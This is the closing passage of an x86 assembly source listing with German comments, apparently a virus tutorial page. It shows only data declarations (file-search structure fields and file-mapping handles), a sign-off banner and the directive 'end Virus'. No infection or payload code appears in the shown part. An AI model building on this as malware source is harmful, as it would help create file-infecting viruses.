WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db 260d dup (?)
WFD_szAlternateFileName db 13 dup (?)
WFD_szAlternateEnding db 03 dup (?)
FileHandle dd (?) ; Handle der Datei
MapHandle dd (?) ; Handle der Map
MapAddress dd (?) ; Offset der Map
EndBufferData:
; ***************************************************************************
; ------------------------[ Das wars für heute ]-----------------------------
; ***************************************************************************
end Virus
[
zurück zum Index] [
Kommentare (0)]